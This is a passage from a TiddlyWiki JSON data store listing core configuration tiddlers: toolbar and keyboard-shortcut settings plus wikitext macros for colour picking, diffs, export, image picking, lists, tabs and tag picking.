            "title": "$:/config/TiddlerInfo/Mode",
            "text": "popup"
        },
        "$:/config/Tiddlers/TitleLinks": {
            "title": "$:/config/Tiddlers/TitleLinks",
            "text": "no"
        },
        "$:/config/Toolbar/ButtonClass": {
            "title": "$:/config/Toolbar/ButtonClass",
            "text": "tc-btn-invisible"
        },
        "$:/config/Toolbar/Icons": {
            "title": "$:/config/Toolbar/Icons",
            "text": "yes"
        },
        "$:/config/Toolbar/Text": {
            "title": "$:/config/Toolbar/Text",
            "text": "no"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/clone": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/clone",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/close-others": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/close-others",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/export-tiddler": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/export-tiddler",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/info": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/info",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/more-tiddler-actions": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/more-tiddler-actions",
            "text": "show"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-here": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-here",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-journal-here": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-journal-here",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/open-window": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/open-window",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permalink": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permalink",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permaview": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permaview",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/delete": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/delete",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar",
            "text": "hide"
        },
        "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-others": {
            "title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-others",
            "text": "hide"
        },
        "$:/config/shortcuts-mac/bold": {
            "title": "$:/config/shortcuts-mac/bold",
            "text": "meta-B"
        },
        "$:/config/shortcuts-mac/italic": {
            "title": "$:/config/shortcuts-mac/italic",
            "text": "meta-I"
        },
        "$:/config/shortcuts-mac/underline": {
            "title": "$:/config/shortcuts-mac/underline",
            "text": "meta-U"
        },
        "$:/config/shortcuts-mac/new-image": {
            "title": "$:/config/shortcuts-mac/new-image",
            "text": "ctrl-I"
        },
        "$:/config/shortcuts-mac/new-journal": {
            "title": "$:/config/shortcuts-mac/new-journal",
            "text": "ctrl-J"
        },
        "$:/config/shortcuts-mac/new-tiddler": {
            "title": "$:/config/shortcuts-mac/new-tiddler",
            "text": "ctrl-N"
        },
        "$:/config/shortcuts-not-mac/bold": {
            "title": "$:/config/shortcuts-not-mac/bold",
            "text": "ctrl-B"
        },
        "$:/config/shortcuts-not-mac/italic": {
            "title": "$:/config/shortcuts-not-mac/italic",
            "text": "ctrl-I"
        },
        "$:/config/shortcuts-not-mac/underline": {
            "title": "$:/config/shortcuts-not-mac/underline",
            "text": "ctrl-U"
        },
        "$:/config/shortcuts-not-mac/new-image": {
            "title": "$:/config/shortcuts-not-mac/new-image",
            "text": "alt-I"
        },
        "$:/config/shortcuts-not-mac/new-journal": {
            "title": "$:/config/shortcuts-not-mac/new-journal",
            "text": "alt-J"
        },
        "$:/config/shortcuts-not-mac/new-tiddler": {
            "title": "$:/config/shortcuts-not-mac/new-tiddler",
            "text": "alt-N"
        },
        "$:/config/shortcuts/cancel-edit-tiddler": {
            "title": "$:/config/shortcuts/cancel-edit-tiddler",
            "text": "escape"
        },
        "$:/config/shortcuts/excise": {
            "title": "$:/config/shortcuts/excise",
            "text": "ctrl-E"
        },
        "$:/config/shortcuts/heading-1": {
            "title": "$:/config/shortcuts/heading-1",
            "text": "ctrl-1"
        },
        "$:/config/shortcuts/heading-2": {
            "title": "$:/config/shortcuts/heading-2",
            "text": "ctrl-2"
        },
        "$:/config/shortcuts/heading-3": {
            "title": "$:/config/shortcuts/heading-3",
            "text": "ctrl-3"
        },
        "$:/config/shortcuts/heading-4": {
            "title": "$:/config/shortcuts/heading-4",
            "text": "ctrl-4"
        },
        "$:/config/shortcuts/heading-5": {
            "title": "$:/config/shortcuts/heading-5",
            "text": "ctrl-5"
        },
        "$:/config/shortcuts/heading-6": {
            "title": "$:/config/shortcuts/heading-6",
            "text": "ctrl-6"
        },
        "$:/config/shortcuts/link": {
            "title": "$:/config/shortcuts/link",
            "text": "ctrl-L"
        },
        "$:/config/shortcuts/linkify": {
            "title": "$:/config/shortcuts/linkify",
            "text": "alt-shift-L"
        },
        "$:/config/shortcuts/list-bullet": {
            "title": "$:/config/shortcuts/list-bullet",
            "text": "ctrl-shift-L"
        },
        "$:/config/shortcuts/list-number": {
            "title": "$:/config/shortcuts/list-number",
            "text": "ctrl-shift-N"
        },
        "$:/config/shortcuts/mono-block": {
            "title": "$:/config/shortcuts/mono-block",
            "text": "ctrl-shift-M"
        },
        "$:/config/shortcuts/mono-line": {
            "title": "$:/config/shortcuts/mono-line",
            "text": "ctrl-M"
        },
        "$:/config/shortcuts/picture": {
            "title": "$:/config/shortcuts/picture",
            "text": "ctrl-shift-I"
        },
        "$:/config/shortcuts/preview": {
            "title": "$:/config/shortcuts/preview",
            "text": "alt-P"
        },
        "$:/config/shortcuts/quote": {
            "title": "$:/config/shortcuts/quote",
            "text": "ctrl-Q"
        },
        "$:/config/shortcuts/save-tiddler": {
            "title": "$:/config/shortcuts/save-tiddler",
            "text": "ctrl+enter"
        },
        "$:/config/shortcuts/stamp": {
            "title": "$:/config/shortcuts/stamp",
            "text": "ctrl-S"
        },
        "$:/config/shortcuts/strikethrough": {
            "title": "$:/config/shortcuts/strikethrough",
            "text": "ctrl-T"
        },
        "$:/config/shortcuts/subscript": {
            "title": "$:/config/shortcuts/subscript",
            "text": "ctrl-shift-B"
        },
        "$:/config/shortcuts/superscript": {
            "title": "$:/config/shortcuts/superscript",
            "text": "ctrl-shift-P"
        },
        "$:/config/shortcuts/transcludify": {
            "title": "$:/config/shortcuts/transcludify",
            "text": "alt-shift-T"
        },
        "$:/config/WikiParserRules/Inline/wikilink": {
            "title": "$:/config/WikiParserRules/Inline/wikilink",
            "text": "enable"
        },
        "$:/snippets/currpalettepreview": {
            "title": "$:/snippets/currpalettepreview",
            "text": "\\define swatchStyle()\nbackground-color: $(swatchColour)$;\n\\end\n\\define swatch()\n<$set name=\"swatchColour\" value={{##$(colour)$}}\n><div class=\"tc-swatch\" style=<<swatchStyle>> title=<<colour>>/></$set>\n\\end\n<div class=\"tc-swatches-horiz\"><$list filter=\"\nforeground\nbackground\nmuted-foreground\nprimary\npage-background\ntab-background\ntiddler-info-background\n\" variable=\"colour\"><<swatch>></$list></div>"
        },
        "$:/snippets/download-wiki-button": {
            "title": "$:/snippets/download-wiki-button",
            "text": "\\define lingo-base() $:/language/ControlPanel/Tools/Download/\n<$button class=\"tc-btn-big-green\">\n<$action-sendmessage $message=\"tm-download-file\" $param=\"$:/core/save/all\" filename=\"index.html\"/>\n<<lingo Full/Caption>> {{$:/core/images/save-button}}\n</$button>"
        },
        "$:/language": {
            "title": "$:/language",
            "text": "$:/languages/en-GB"
        },
        "$:/snippets/languageswitcher": {
            "title": "$:/snippets/languageswitcher",
            "text": "\\define flag-title()\n$(languagePluginTitle)$/icon\n\\end\n\n<$linkcatcher to=\"$:/language\">\n<div class=\"tc-chooser tc-language-chooser\">\n<$list filter=\"[[$:/languages/en-GB]] [plugin-type[language]sort[description]]\">\n<$set name=\"cls\" filter=\"[all[current]field:title{$:/language}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>>\n<$link>\n<span class=\"tc-image-button\">\n<$set name=\"languagePluginTitle\" value=<<currentTiddler>>>\n<$transclude subtiddler=<<flag-title>>>\n<$list filter=\"[all[current]field:title[$:/languages/en-GB]]\">\n<$transclude tiddler=\"$:/languages/en-GB/icon\"/>\n</$list>\n</$transclude>\n</$set>\n</span>\n<$view field=\"description\">\n<$view field=\"name\">\n<$view field=\"title\"/>\n</$view>\n</$view>\n</$link>\n</div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
        },
        "$:/core/macros/CSS": {
            "title": "$:/core/macros/CSS",
            "tags": "$:/tags/Macro",
            "text": "\\define colour(name)\n<$transclude tiddler={{$:/palette}} index=\"$name$\"><$transclude tiddler=\"$:/palettes/Vanilla\" index=\"$name$\"/></$transclude>\n\\end\n\n\\define color(name)\n<<colour $name$>>\n\\end\n\n\\define box-shadow(shadow)\n``\n  -webkit-box-shadow: $shadow$;\n     -moz-box-shadow: $shadow$;\n          box-shadow: $shadow$;\n``\n\\end\n\n\\define filter(filter)\n``\n  -webkit-filter: $filter$;\n     -moz-filter: $filter$;\n          filter: $filter$;\n``\n\\end\n\n\\define transition(transition)\n``\n  -webkit-transition: $transition$;\n     -moz-transition: $transition$;\n          transition: $transition$;\n``\n\\end\n\n\\define transform-origin(origin)\n``\n  -webkit-transform-origin: $origin$;\n     -moz-transform-origin: $origin$;\n          transform-origin: $origin$;\n``\n\\end\n\n\\define background-linear-gradient(gradient)\n``\nbackground-image: linear-gradient($gradient$);\nbackground-image: -o-linear-gradient($gradient$);\nbackground-image: -moz-linear-gradient($gradient$);\nbackground-image: -webkit-linear-gradient($gradient$);\nbackground-image: -ms-linear-gradient($gradient$);\n``\n\\end\n\n\\define column-count(columns)\n``\n-moz-column-count: $columns$;\n-webkit-column-count: $columns$;\ncolumn-count: $columns$;\n``\n\\end\n\n\\define datauri(title)\n<$macrocall $name=\"makedatauri\" type={{$title$!!type}} text={{$title$}}/>\n\\end\n\n\\define if-sidebar(text)\n<$reveal state=\"$:/state/sidebar\" type=\"match\" text=\"yes\" default=\"yes\">$text$</$reveal>\n\\end\n\n\\define if-no-sidebar(text)\n<$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">$text$</$reveal>\n\\end\n\n\\define if-background-attachment(text)\n<$reveal state=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\" type=\"nomatch\" text=\"\">$text$</$reveal>\n\\end\n"
        },
        "$:/core/macros/colour-picker": {
            "title": "$:/core/macros/colour-picker",
            "tags": "$:/tags/Macro",
            "text": "\\define colour-picker-update-recent()\n<$action-listops\n\t$tiddler=\"$:/config/ColourPicker/Recent\"\n\t$subfilter=\"$(colour-picker-value)$ [list[$:/config/ColourPicker/Recent]remove[$(colour-picker-value)$]] +[limit[8]]\"\n/>\n\\end\n\n\\define colour-picker-inner(actions)\n<$button tag=\"a\" tooltip=\"\"\"$(colour-picker-value)$\"\"\">\n\n$(colour-picker-update-recent)$\n\n$actions$\n\n<div style=\"background-color: $(colour-picker-value)$; width: 100%; height: 100%; border-radius: 50%;\"/>\n\n</$button>\n\\end\n\n\\define colour-picker-recent-inner(actions)\n<$set name=\"colour-picker-value\" value=\"$(recentColour)$\">\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$set>\n\\end\n\n\\define colour-picker-recent(actions)\n{{$:/language/ColourPicker/Recent}} <$list filter=\"[list[$:/config/ColourPicker/Recent]]\" variable=\"recentColour\">\n<$macrocall $name=\"colour-picker-recent-inner\" actions=\"\"\"$actions$\"\"\"/></$list>\n\\end\n\n\\define colour-picker(actions)\n<div class=\"tc-colour-chooser\">\n\n<$macrocall $name=\"colour-picker-recent\" actions=\"\"\"$actions$\"\"\"/>\n\n---\n\n<$list filter=\"LightPink Pink Crimson LavenderBlush PaleVioletRed HotPink DeepPink MediumVioletRed Orchid Thistle Plum Violet Magenta Fuchsia DarkMagenta Purple MediumOrchid DarkViolet DarkOrchid Indigo BlueViolet MediumPurple MediumSlateBlue SlateBlue DarkSlateBlue Lavender GhostWhite Blue MediumBlue MidnightBlue DarkBlue Navy RoyalBlue CornflowerBlue LightSteelBlue LightSlateGrey SlateGrey DodgerBlue AliceBlue SteelBlue LightSkyBlue SkyBlue DeepSkyBlue LightBlue PowderBlue CadetBlue Azure LightCyan PaleTurquoise Cyan Aqua DarkTurquoise DarkSlateGrey DarkCyan Teal MediumTurquoise LightSeaGreen Turquoise Aquamarine MediumAquamarine MediumSpringGreen MintCream SpringGreen MediumSeaGreen SeaGreen Honeydew LightGreen PaleGreen DarkSeaGreen LimeGreen Lime ForestGreen Green DarkGreen Chartreuse LawnGreen GreenYellow DarkOliveGreen YellowGreen OliveDrab Beige LightGoldenrodYellow Ivory LightYellow Yellow Olive DarkKhaki LemonChiffon PaleGoldenrod Khaki Gold Cornsilk Goldenrod DarkGoldenrod FloralWhite OldLace Wheat Moccasin Orange PapayaWhip BlanchedAlmond NavajoWhite AntiqueWhite Tan BurlyWood Bisque DarkOrange Linen Peru PeachPuff SandyBrown Chocolate SaddleBrown Seashell Sienna LightSalmon Coral OrangeRed DarkSalmon Tomato MistyRose Salmon Snow LightCoral RosyBrown IndianRed Red Brown FireBrick DarkRed Maroon White WhiteSmoke Gainsboro LightGrey Silver DarkGrey Grey DimGrey Black\" variable=\"colour-picker-value\">\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$list>\n\n---\n\n<$edit-text tiddler=\"$:/config/ColourPicker/New\" tag=\"input\" default=\"\" placeholder=\"\"/> \n<$edit-text tiddler=\"$:/config/ColourPicker/New\" type=\"color\" tag=\"input\"/>\n<$set name=\"colour-picker-value\" value={{$:/config/ColourPicker/New}}>\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$set>\n\n</div>\n\n\\end\n"
        },
        "$:/core/macros/copy-to-clipboard": {
            "title": "$:/core/macros/copy-to-clipboard",
            "tags": "$:/tags/Macro",
            "text": "\\define copy-to-clipboard(src,class:\"tc-btn-invisible\",style)\n<$button class=<<__class__>> style=<<__style__>> message=\"tm-copy-to-clipboard\" param=<<__src__>> tooltip={{$:/language/Buttons/CopyToClipboard/Hint}}>\n{{$:/core/images/copy-clipboard}} <$text text={{$:/language/Buttons/CopyToClipboard/Caption}}/>\n</$button>\n\\end\n\n\\define copy-to-clipboard-above-right(src,class:\"tc-btn-invisible\",style)\n<div style=\"position: relative;\">\n<div style=\"position: absolute; bottom: 0; right: 0;\">\n<$macrocall $name=\"copy-to-clipboard\" src=<<__src__>> class=<<__class__>> style=<<__style__>>/>\n</div>\n</div>\n\\end\n\n"
        },
        "$:/core/macros/diff": {
            "title": "$:/core/macros/diff",
            "tags": "$:/tags/Macro",
            "text": "\\define compareTiddlerText(sourceTiddlerTitle,sourceSubTiddlerTitle,destTiddlerTitle,destSubTiddlerTitle)\n<$set name=\"source\" tiddler=<<__sourceTiddlerTitle__>> subtiddler=<<__sourceSubTiddlerTitle__>>>\n<$set name=\"dest\" tiddler=<<__destTiddlerTitle__>> subtiddler=<<__destSubTiddlerTitle__>>>\n<$diff-text source=<<source>> dest=<<dest>>/>\n</$set>\n</$set>\n\\end\n\n\\define compareTiddlers(sourceTiddlerTitle,sourceSubTiddlerTitle,destTiddlerTitle,destSubTiddlerTitle,exclude)\n<table class=\"tc-diff-tiddlers\">\n<tbody>\n<$set name=\"sourceFields\" filter=\"[<__sourceTiddlerTitle__>fields[]sort[]]\">\n<$set name=\"destFields\" filter=\"[<__destSubTiddlerTitle__>subtiddlerfields<__destTiddlerTitle__>sort[]]\">\n<$list filter=\"[enlist<sourceFields>] [enlist<destFields>] -[enlist<__exclude__>] +[sort[]]\" variable=\"fieldName\">\n<tr>\n<th>\n<$text text=<<fieldName>>/> \n</th>\n<td>\n<$set name=\"source\" tiddler=<<__sourceTiddlerTitle__>> subtiddler=<<__sourceSubTiddlerTitle__>> field=<<fieldName>>>\n<$set name=\"dest\" tiddler=<<__destTiddlerTitle__>> subtiddler=<<__destSubTiddlerTitle__>> field=<<fieldName>>>\n<$diff-text source=<<source>> dest=<<dest>>>\n</$diff-text>\n</$set>\n</$set>\n</td>\n</tr>\n</$list>\n</$set>\n</$set>\n</tbody>\n</table>\n\\end\n"
        },
        "$:/core/macros/export": {
            "title": "$:/core/macros/export",
            "tags": "$:/tags/Macro",
            "text": "\\define exportButtonFilename(baseFilename)\n$baseFilename$$(extension)$\n\\end\n\n\\define exportButton(exportFilter:\"[!is[system]sort[title]]\",lingoBase,baseFilename:\"tiddlers\")\n<span class=\"tc-popup-keep\"><$button popup=<<qualify \"$:/state/popup/export\">> tooltip={{$lingoBase$Hint}} aria-label={{$lingoBase$Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/export-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$lingoBase$Caption}}/></span>\n</$list>\n</$button></span><$reveal state=<<qualify \"$:/state/popup/export\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Exporter]]\">\n<$set name=\"extension\" value={{!!extension}}>\n<$button class=\"tc-btn-invisible\">\n<$action-sendmessage $message=\"tm-download-file\" $param=<<currentTiddler>> exportFilter=\"\"\"$exportFilter$\"\"\" filename=<<exportButtonFilename \"\"\"$baseFilename$\"\"\">>/>\n<$action-deletetiddler $tiddler=<<qualify \"$:/state/popup/export\">>/>\n<$transclude field=\"description\"/>\n</$button>\n</$set>\n</$list>\n</div>\n</$reveal>\n\\end\n"
        },
        "$:/core/macros/image-picker": {
            "title": "$:/core/macros/image-picker",
            "created": "20170715180840889",
            "modified": "20170715180914005",
            "tags": "$:/tags/Macro",
            "type": "text/vnd.tiddlywiki",
            "text": "\\define image-picker-thumbnail(actions)\n<$button tag=\"a\" tooltip=\"\"\"$(imageTitle)$\"\"\">\n$actions$\n<$transclude tiddler=<<imageTitle>>/>\n</$button>\n\\end\n\n\\define image-picker-list(filter,actions)\n<$list filter=\"\"\"$filter$\"\"\" variable=\"imageTitle\">\n<$macrocall $name=\"image-picker-thumbnail\" actions=\"\"\"$actions$\"\"\"/>\n</$list>\n\\end\n\n\\define image-picker(actions,filter:\"[all[shadows+tiddlers]is[image]] -[type[application/pdf]] +[!has[draft.of]$subfilter$sort[title]]\",subfilter:\"\")\n<div class=\"tc-image-chooser\">\n<$vars state-system=<<qualify \"$:/state/image-picker/system\">>>\n<$checkbox tiddler=<<state-system>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"hide\">\n{{$:/language/SystemTiddlers/Include/Prompt}}\n</$checkbox>\n<$reveal state=<<state-system>> type=\"match\" text=\"hide\" default=\"hide\" tag=\"div\">\n<$macrocall $name=\"image-picker-list\" filter=\"\"\"$filter$ +[!is[system]]\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</$reveal>\n<$reveal state=<<state-system>> type=\"nomatch\" text=\"hide\" default=\"hide\" tag=\"div\">\n<$macrocall $name=\"image-picker-list\" filter=\"\"\"$filter$\"\"\" actions=\"\"\"$actions$\"\"\"/>\n</$reveal>\n</$vars>\n</div>\n\\end\n\n\\define image-picker-include-tagged-images(actions)\n<$macrocall $name=\"image-picker\" filter=\"[all[shadows+tiddlers]is[image]] [all[shadows+tiddlers]tag[$:/tags/Image]] -[type[application/pdf]] +[!has[draft.of]sort[title]]\" actions=\"\"\"$actions$\"\"\"/>\n\\end\n"
        },
        "$:/core/macros/lingo": {
            "title": "$:/core/macros/lingo",
            "tags": "$:/tags/Macro",
            "text": "\\define lingo-base()\n$:/language/\n\\end\n\n\\define lingo(title)\n{{$(lingo-base)$$title$}}\n\\end\n"
        },
        "$:/core/macros/list": {
            "title": "$:/core/macros/list",
            "tags": "$:/tags/Macro",
            "text": "\\define list-links(filter,type:\"ul\",subtype:\"li\",class:\"\",emptyMessage)\n<$type$ class=\"$class$\">\n<$list filter=\"$filter$\" emptyMessage=<<__emptyMessage__>>>\n<$subtype$>\n<$link to={{!!title}}>\n<$transclude field=\"caption\">\n<$view field=\"title\"/>\n</$transclude>\n</$link>\n</$subtype$>\n</$list>\n</$type$>\n\\end\n\n\\define list-links-draggable-drop-actions()\n<$action-listops $tiddler=<<targetTiddler>> $field=<<targetField>> $subfilter=\"+[insertbefore:currentTiddler<actionTiddler>]\"/>\n\\end\n\n\\define list-links-draggable(tiddler,field:\"list\",type:\"ul\",subtype:\"li\",class:\"\",itemTemplate)\n<$vars targetTiddler=\"\"\"$tiddler$\"\"\" targetField=\"\"\"$field$\"\"\">\n<$type$ class=\"$class$\">\n<$list filter=\"[list[$tiddler$!!$field$]]\">\n<$droppable actions=<<list-links-draggable-drop-actions>> tag=\"\"\"$subtype$\"\"\">\n<div class=\"tc-droppable-placeholder\">\n&nbsp;\n</div>\n<div>\n<$transclude tiddler=\"\"\"$itemTemplate$\"\"\">\n<$link to={{!!title}}>\n<$transclude field=\"caption\">\n<$view field=\"title\"/>\n</$transclude>\n</$link>\n</$transclude>\n</div>\n</$droppable>\n</$list>\n</$type$>\n<$tiddler tiddler=\"\">\n<$droppable actions=<<list-links-draggable-drop-actions>> tag=\"div\">\n<div class=\"tc-droppable-placeholder\">\n&nbsp;\n</div>\n<div style=\"height:0.5em;\"/>\n</$droppable>\n</$tiddler>\n</$vars>\n\\end\n\n\\define list-tagged-draggable-drop-actions(tag)\n<!-- Save the current ordering of the tiddlers with this tag -->\n<$set name=\"order\" filter=\"[<__tag__>tagging[]]\">\n<!-- Remove any list-after or list-before fields from the tiddlers with this tag -->\n<$list filter=\"[<__tag__>tagging[]]\">\n<$action-deletefield $field=\"list-before\"/>\n<$action-deletefield $field=\"list-after\"/>\n</$list>\n<!-- Save the new order to the Tag Tiddler -->\n<$action-listops $tiddler=<<__tag__>> $field=\"list\" $filter=\"+[enlist<order>] +[insertbefore:currentTiddler<actionTiddler>]\"/>\n<!-- Make sure the newly added item has the right tag -->\n<!-- Removing this line makes dragging tags within the dropdown work as intended -->\n<!--<$action-listops $tiddler=<<actionTiddler>> $tags=<<__tag__>>/>-->\n<!-- Using the following 5 lines as replacement makes dragging titles from outside into the dropdown apply the tag -->\n<$list filter=\"[<actionTiddler>!contains:tags<__tag__>]\">\n<$fieldmangler tiddler=<<actionTiddler>>>\n<$action-sendmessage $message=\"tm-add-tag\" $param=<<__tag__>>/>\n</$fieldmangler>\n</$list>\n</$set>\n\\end\n\n\\define list-tagged-draggable(tag,subFilter,emptyMessage,itemTemplate,elementTag:\"div\")\n<$set name=\"tag\" value=<<__tag__>>>\n<$list filter=\"[<__tag__>tagging[]$subFilter$]\" emptyMessage=<<__emptyMessage__>>>\n<$elementTag$ class=\"tc-menu-list-item\">\n<$droppable actions=\"\"\"<$macrocall $name=\"list-tagged-draggable-drop-actions\" tag=<<__tag__>>/>\"\"\">\n<$elementTag$ class=\"tc-droppable-placeholder\">\n&nbsp;\n</$elementTag$>\n<$elementTag$>\n<$transclude tiddler=\"\"\"$itemTemplate$\"\"\">\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</$transclude>\n</$elementTag$>\n</$droppable>\n</$elementTag$>\n</$list>\n<$tiddler tiddler=\"\">\n<$droppable actions=\"\"\"<$macrocall $name=\"list-tagged-draggable-drop-actions\" tag=<<__tag__>>/>\"\"\">\n<$elementTag$ class=\"tc-droppable-placeholder\">\n&nbsp;\n</$elementTag$>\n<$elementTag$ style=\"height:0.5em;\">\n</$elementTag$>\n</$droppable>\n</$tiddler>\n</$set>\n\\end\n"
        },
        "$:/core/macros/tabs": {
            "title": "$:/core/macros/tabs",
            "tags": "$:/tags/Macro",
            "text": "\\define tabs(tabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain)\n<div class=\"tc-tab-set $class$\">\n<div class=\"tc-tab-buttons $class$\">\n<$list filter=\"$tabsList$\" variable=\"currentTab\"><$set name=\"save-currentTiddler\" value=<<currentTiddler>>><$tiddler tiddler=<<currentTab>>><$button set=<<qualify \"$state$\">> setTo=<<currentTab>> default=\"$default$\" selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}}>\n<$tiddler tiddler=<<save-currentTiddler>>>\n<$set name=\"tv-wikilinks\" value=\"no\">\n<$transclude tiddler=\"$buttonTemplate$\" mode=\"inline\">\n<$transclude tiddler=<<currentTab>> field=\"caption\">\n<$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n</$transclude>\n</$transclude>\n</$set></$tiddler></$button></$tiddler></$set></$list>\n</div>\n<div class=\"tc-tab-divider $class$\"/>\n<div class=\"tc-tab-content $class$\">\n<$list filter=\"$tabsList$\" variable=\"currentTab\">\n\n<$reveal type=\"match\" state=<<qualify \"$state$\">> text=<<currentTab>> default=\"$default$\" retain=\"\"\"$retain$\"\"\">\n\n<$transclude tiddler=\"$template$\" mode=\"block\">\n\n<$transclude tiddler=<<currentTab>> mode=\"block\"/>\n\n</$transclude>\n\n</$reveal>\n\n</$list>\n</div>\n</div>\n\\end\n"
        },
        "$:/core/macros/tag-picker": {
            "title": "$:/core/macros/tag-picker",
            "tags": "$:/tags/Macro",
            "text": "\\define add-tag-actions()\n<$action-sendmessage $message=\"tm-add-tag\" $param={{$:/temp/NewTagName}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n\\end\n\n\\define add-tag-actions()\n<$action-sendmessage $message=\"tm-add-tag\" $param={{$:/temp/NewTagName}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n\\end\n\n\\define tag-button()\n<$button class=\"tc-btn-invisible\" tag=\"a\">\n$(actions)$\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n<$macrocall $name=\"tag-pill\" tag=<<tag>>/>\n</$button>\n\\end\n\n\\define tag-picker(actions)\n<$set name=\"actions\" value=\"\"\"$actions$\"\"\">\n<div class=\"tc-edit-add-tag\">\n<span class=\"tc-add-tag-name\">\n<$keyboard key=\"ENTER\" actions=<<add-tag-actions>>>\n<$edit-text tiddler=\"$:/temp/NewTagName\" tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Tags/Add/Placeholder}} focusPopup=<<qualify \"$:/state/popup/tags-auto-complete\">> class=\"tc-edit-texteditor tc-popup-handle\"/>\n</$keyboard>\n</span> <$button popup=<<qualify \"$:/state/popup/tags-auto-complete\">> class=\"tc-btn-invisible\" tooltip={{$:/language/EditTemplate/Tags/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Tags/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button> <span class=\"tc-add-tag-button\">\n<$set name=\"tag\" value={{$:/temp/NewTagName}}>\n<$button set=\"$:/temp/NewTagName\" setTo=\"\" class=\"\">\n$actions$\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n{{$:/language/EditTemplate/Tags/Add/Button}}\n</$button>\n</$set>\n</span>\n</div>\n<div class=\"tc-block-dropdown-wrapper\">\n<$reveal state=<<qualify \"$:/state/popup/tags-auto-complete\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown\">\n<$list filter=\"[{$:/temp/NewTagName}minlength{$:/config/Tags/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$list filter=\"[tags[]!is[system]search:title{$:/temp/NewTagName}sort[]]\" variable=\"tag\">\n<<tag-button>>\n</$list></$list>\n<hr>\n<$list filter=\"[{$:/temp/NewTagName}minlength{$:/config/Tags/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$list filter=\"[tags[]is[system]search:title{$:/temp/NewTagName}sort[]]\" variable=\"tag\">\n<<tag-button>>\n</$list></$list>\n</div>\n</$reveal>\n</div>\n</$set>\n\\end\n"
        },
        "$:/core/macros/tag": {
            "title": "$:/core/macros/tag",
            "tags": "$:/tags/Macro",
